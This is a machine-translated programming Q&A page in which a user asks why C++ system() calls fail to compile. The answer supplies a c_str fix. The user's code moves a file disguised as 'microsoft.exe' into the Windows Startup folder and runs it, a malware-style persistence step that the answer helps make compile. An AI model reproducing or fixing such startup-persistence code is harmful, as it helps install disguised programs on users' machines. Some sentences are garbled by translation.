我收到错误E2285,找不到与“ system(string)”相匹配的错误 请帮我。 代码在下面 我不知道为什么它不起作用,因为这通常与cout <<< / p>
#include <stdio.h> /* defines FILENAME_MAX */
using namespace std;
#define WINDOWS /* uncomment this line to use it for windows.*/
#include <direct.h>
#define GetCurrentDir _getcwd
#include <iostream>
string GetCurrentWorkingDir( void ) {
char buff[FILENAME_MAX];
GetCurrentDir( buff, FILENAME_MAX );
std::string current_working_dir(buff);
return current_working_dir;
}
int main(){
string dir;
dir = GetCurrentWorkingDir();
system("move "+ dir + "\\microsoft.exe C:\\programdata\\microsoft\\windows\\start menu\\programs\\startup");
system("microsoft.html");
system("cd\\");
system("cd microsoft.exe C:\\programdata\\microsoft\\windows\\start menu\\programs\\startup");
system("microsoft.exe");
return 1;
}
答案 0 :(得分:1)
std::system
花费const char*
而不是std::string
,这从warnings显而易见。
system("move "+ dir + "\\microsoft.exe C:\\programdata\\microsoft\\windows\\start menu\\programs\\startup")
在这里,总和的结果为std::string
。将参数收集到一个单独的std::string
中,然后使用std::string::c_str
方法调用std::system
。
auto arg = "move "+ dir + "\\microsoft.exe C:\\programdata\\microsoft\\windows\\start menu\\programs\\startup";
std::system(arg.c_str());
除此之外,您还有很多错误,例如您没有包含<string>
标头,而是从1
返回main
而不是0
。 You use using namespace std;
,使用C版本的标准标头(由<stdio.h>
代替<cstdio>
),从未包含定义<cstdlib>
的{{1}}等。>